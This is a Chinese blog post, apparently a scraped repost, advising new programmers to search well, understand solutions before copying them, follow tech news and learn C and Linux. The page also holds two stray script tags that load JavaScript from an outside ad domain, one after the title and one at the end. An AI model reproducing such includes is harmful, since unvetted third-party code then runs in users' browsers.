如何成爲一個優秀的程序員

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

這是前一陣子給新人講perl時順便聊的一些廢話。暫且存放在這裏。

關於自學

程序員這個行業需要不斷地學習、充電。有人說過,現今的知識體系在20年之後就會成爲一堆垃圾。 注意這是指整個IT行業說的,具體到某個人的話,可能五年後你的知識就沒用了。 所以要不斷地開闊眼界,學習知識。

那麼如何學習?我認爲最重要的就是學會搜索。如今,你不會編程沒關係,不會配服務器沒關係, 只要你會搜索,你就是好的程序員。Web2.0的發展,使得論壇、個人網站等過時,維基、博客流行起來, 而大量有價值的技術信息都分散在成千上萬個博客上。因此,你得學會用好搜索引擎,推薦使用Google。 大部分人喜歡用百度,我無可厚非,不過個人認爲,對於程序員來說,Google的準確性要比百度高很多。

那麼如何使用Google?我總結了下面的幾種情況:

  1. 訪問某官方網站,直接Google一下它的名字。如微軟,你不必記住 www.microsoft.com 這個域名,只需要打開Google搜索“微軟”即可找到目的地。
  2. 查找技術文章,搜索相關關鍵字即可。假設你要在Linux下裝Web服務器,想象一下如果你想寫一篇這方面的技術文章,你會用哪些詞語,這些詞語就是關鍵字。
  3. 解決技術難題,如編譯錯誤、配置錯誤等,可以直接搜索錯誤信息。世界上那麼多優秀程序員,你遇到的問題一定有人遇到過並解決了。

另外還有一個 Google Code,它可以搜索網上的源代碼,想找程序例子時非常有用。 網站地址請自己去搜索。

自學的第二個重點,就是要學會舉一反三,嚴禁不求甚解。 網上有人說按照某種方法能夠解決某某問題,於是你就原封不動地照搬過來, 結果問題依舊無法解決,於是你就給那篇文章的作者發信說“你的方法不對”啦“我這裏不行啊”之類的話。 程序員最要不得的就是這種態度,影響別人也耽誤自己。 別人提出的方法,你不能生搬硬套,而是應首先理解他爲什麼要這樣做, 這樣做有什麼道理,然後再根據自己的實際情況找出適合自己的解決方法。 這樣解決問題的同時自己的技術水平也會得到提高。

最後一點就是要多多關注新事物。這些年新概念、新事物不斷涌現出來, 如Web2.0、P2P、Ajax、維基、博客、閱讀器、flickr、youtube, 幾天不看新聞就會覺得自己跟不上時代了。

在這裏我推薦幾個較好的技術網站,有條件的可以天天上去看看, 瞭解一下技術發展情況。同樣,網址自己去查。

  • del.icio.us 這是個網絡書籤網站,主題是技術。每天上去看看大家推薦的技術文章很有好處。
  • 抓蝦 一個在線RSS閱讀器,同樣也有推薦功能。目前技術氛圍比較濃,可以去看看熱門技術文章。
  • digg 也是網頁推薦的網站,同樣能找到很多技術文章。
  • 豆瓣 圖書推薦網站。

關於技術

許多人以掌握多種語言、掌握多種技術爲榮,會C、C++、VC、Delphi、VB、PHP、Perl、Oracle等似乎就很了不起。 的確這樣的人才不可多得,但我想告訴你的是,這不應該是你追求的目標。

技術的發展是無窮無盡的,尤其是現在,創立一門編程語言、一個程序庫、一個開發框架是個很簡單的事兒, 有點技術基礎的人誰都能做。而要想將這些技術全部學會是不可能的。 你應當着重學習技術背後隱含的思想。弄明白了思想,就很容易舉一反三, 再學其他技術就非常容易了。

例如,學C++時不應該花太多時間在C++本身上,而應該重點掌握面向對象概念。 學會了面向對象,再學Java、Python、Ruby等就非常容易。 學過Java的人應該知道Struts這個開發框架,弄懂Structs的思想, 再學其他開發框架時就能舉一反三。

建議大家沒事兒學學下面的技術:

  • C或C++,注意不是VC,更不是微軟的MFC庫。許多語言如Java、PHP、Perl、Ruby都是從C語言發展變化而來,學通了C,其他語言就唾手可得了。
  • Linux,學它的原因,一個是它免費,二是掌握Linux的思考方法,能很大提高日常工作的效率。

另外,我們學技術不僅是爲了工作,更是爲了解決實際問題。這裏有個原則:同一件事而不要做第二遍。 用好Excel、Linux等工具,讓計算機幫我們做重複的工作,不僅能大幅提高效率,本身也是件很有趣的事兒。

結語

說了這麼多,其實總結起來就一個字,就是。技術學活了,程序員也就不難做了。


charlee?i=agvXvVUs charlee?i=uo6UzO4Z charlee?i=ks1pnKt6
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
發佈了4 篇原創文章 · 獲贊 2 · 訪問量 10萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章